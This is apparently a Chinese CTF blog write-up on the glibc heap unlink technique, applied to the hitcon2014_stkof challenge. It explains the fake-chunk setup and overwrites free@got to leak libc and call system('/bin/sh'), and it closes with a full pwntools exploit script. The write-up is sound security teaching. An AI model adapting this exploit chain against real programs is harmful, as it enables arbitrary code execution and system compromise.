Unlink
2022-03-01 13:35:06

Unlink:

先简要说明一下我认为unlink的使用:伪造一个fake_free_chunk,与存放堆块指针的数组组成双链表,在unlink触发后,数组内的堆块指针将会改成数组的地址,如此,我们就可以控制数组内的堆块指针使其指向我们想要指向的区域==》所以利用unlink的必要条件是可以获得堆块数组的地址(仅个人理解)

unlink介绍:

unlink源码:

#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;							      
        BK->fd = FD;							      
        if (!in_smallbin_range (P->size)				      
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
	      malloc_printerr (check_action,				      
			       "corrupted double-linked list (not small)",    
			       P, AV);					      
            if (FD->fd_nextsize == NULL) {				      
                if (P->fd_nextsize == P)				      
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      
                else {							      
                    FD->fd_nextsize = P->fd_nextsize;			      
                    FD->bk_nextsize = P->bk_nextsize;			      
                    P->fd_nextsize->bk_nextsize = FD;			      
                    P->bk_nextsize->fd_nextsize = FD;			      
                  }							      
              } else {							      
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      
              }								      
          }								      
      }									      
}

unlink使用与free:

在执行free()函数时执行了_int_free()函数,在_int_free()函数中调用了unlink宏==》

#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
	_int_free(){
		unlink();
	}
}

free对chunk的状态检查:

1、检查与被释放chunk相邻高地址的chunk的prev_size的值是否等于被释放的chunk的size大小(忽略P标志位)

2、检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0==》代表它前一个chunk是否为空闲状态

3、检查前后被释放的chunk的fd和bk

例题:hitcon2014_stkof:

检查保护:

开启了canary和NX

静态分析:
主函数:

1、创建:

在主界面输入1回车即可进入指针创建堆块的功能==》输入堆块大小==》程序输出堆块index,输出ok

2、修改:

在主界面输入2回车即可进入修改堆块的功能==》输入index==》输入size==》输入content

fread函数解析:

函数原型==》

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)

参数解析==》

ptr:指向带有最小尺寸size*nmemb字节的内存块的指针

size:要读取的每个元素的大小,以字节为单位

nmemb:元素的个数,每个元素的大小为size字节

stream:指向FILE对象的指针,该FILE对象指针指定了一个输入流

返回值==》

成功读取的元素总数会以size_t对象返回,size_t对象是一个整数数据类型

3、删除:

在主界面输入3回车即可进入释放对快的功能==》输入index即可

4、打印(无用):

在主界面输入4回车即可进入打印界面==》输出一条字符串,没有明显帮助

动态分析:

首先创建几个堆块查看内存情况==》

红色区域为我们创建的堆块,而第一和第三个堆块则是程序在执行输入输出操作时申请的缓冲区==》初次使用fget()函数和printf()函数的时候

==》chunk1在两个io_chunk之间==》很难对chunk1进行漏洞利用==》由chunk2溢出至chunk3

查看溢出后果:

未执行修改==》

执行修改==》

==》可以进行任意长度的溢出

思路总结:

1、chunk1无法利用

2、修改堆块内容可以进行任意长度的溢出

3、没有打印功能

==》

触发unlink需要的条件==》空闲块==》伪造空闲快==》

在chunk2的data区域伪造fake_free_chunk==》

通过溢出修改chunk3的prev_size和size的P标志位,让chunk3在释放的时候可以前向合并==》触发unlink

构造fake_free_chunk==》

prev_size+size+fd+bk+next_prev+next_size==》0x30

prev_size:只想通过释放chunk3的时候前向合并fake_chunk==》纸0

size:0x20

next_prev:为了绕过检查,证明fake_chunk为空闲状态==》next_prev==size==0x20

next_size:不进行检查,字符串占位

fake_free_chunk=p64(0)+p64(0x30)+p64(fd_bk)+p64(0x20)+'a'*8

但是我在后文中并没有去伪造next_prev就成功打通了,后续有机会看看源码

chunk3要求==》

伪造free_chunk还需要修改下一个chunk也就是chunk3的prev_size大小==》0x30

还需要将chunk3的P标志位改为0

chunk大小还必须超过fastbin的最大值==》unsorted bin==》至少是0x90

==》

payload=fake_free_chunk+p64(0x30)+p32(0x90)

Unlink重点:

此时fake_free_chunk已经伪造好了,并且与0x602140和0x602138组成了双链表

将0x602140看成一个堆块:

将0x602138看成一个堆块:

未unlink状态:

此时只要将fake_free_chunk从双链表中摘除,也就是chunk3与fake_free_chunk合并即可摘除fake_free_chunk触发unlink

unlink状态:

此时0x602140堆块的fd将变成0x602138

0x602138堆块的bk将变成0x602140==》

注意点:

两个堆块修改的区域都是chunk2的指针==》

由于首先执行chunk2变成0x602140==》后执行的chunk2变成0x602138

==》最终形态是chunk2指针变成0x602138==》控制堆块指针数组

==》unlink过程已结束==》

chunk1指针不变,chiunk2指向堆块指针数组,chunk3被释放,指针清零,chunk4指针不变

控制了堆块指针数组就可以对其进行edit修改堆块指针指向的区域==》

获得shell条件==》

1、system()==》泄露地址获取libc==》考虑将free@got修改成puts@plt,将一个堆块的指针修改为puts@got==》在进行free这个堆块时就可以调用puts@plt将puts_addr打印出来==》接收地址,计算system()函数地址==》再次修改free@got成system()

payload='a'*0x10+p64(elf.got['free'])+p64(elf.got['puts'])
edit(2,payload)
payload=p64(elf.plt['puts'])
edit(1,payload)
dele(2)
puts_addr =u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
payload=p64(sys_addr)
edit(1,payload)

2、/bin/sh==》将一个堆块的指针修改为’/bin/sh’==》释放时free函数就会以’/bin/sh’作为参数

exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#io=remote('node4.buuoj.cn',27050)
io=process('./stkof' )
elf=ELF('./stkof')
#libc=ELF('/home/giantbranch/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so' )
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
	io.sendline('1')
	io.sendline(str(size))
	io.recvuntil('OK\n')

def edit(index,content):
	io.sendline('2')
	io.sendline(str(index))
	io.sendline(str(len(content)))
	io.sendline(content)
	io.recvuntil('OK\n')	

def dele(index):
	io.sendline('3')
	io.sendline(str(index))

add(0x30)
add(0x30)
add(0x80)
add(0x30)

fd=0x602138
bk=0x602140

payload=p64(0)+p64(0x30)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+p64(0x90)

edit(2,payload)

dele(3)

#gdb.attach(io)

payload='a'*0x10+p64(elf.got['free'])+p64(elf.got['puts'])

edit(2,payload)
#gdb.attach(io)
payload=p64(elf.plt['puts'])

edit(1,payload)

dele(2)

#puts_addr=u64(io.recvuntil('\nOK\n', drop=True).ljust(8,'\x00'))
puts_addr =u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
#binsh=libcbase+next(libc.search('/bin/sh'))

payload=p64(sys_addr)
edit(1,payload)

edit(4,'/bin/sh\x00')
dele(4)

io.interactive()
exp执行效果:
远程:

本地:

2022-03-01 13:35:06
下一页